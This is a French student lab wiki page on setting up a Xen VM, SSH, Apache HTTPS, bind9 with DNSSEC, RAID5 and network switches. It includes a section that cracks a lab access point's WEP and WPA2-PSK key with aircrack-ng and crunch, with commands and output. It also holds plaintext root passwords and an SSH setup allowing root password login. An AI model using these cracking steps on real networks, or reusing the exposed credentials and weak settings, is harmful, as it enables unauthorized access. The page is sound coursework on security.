  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
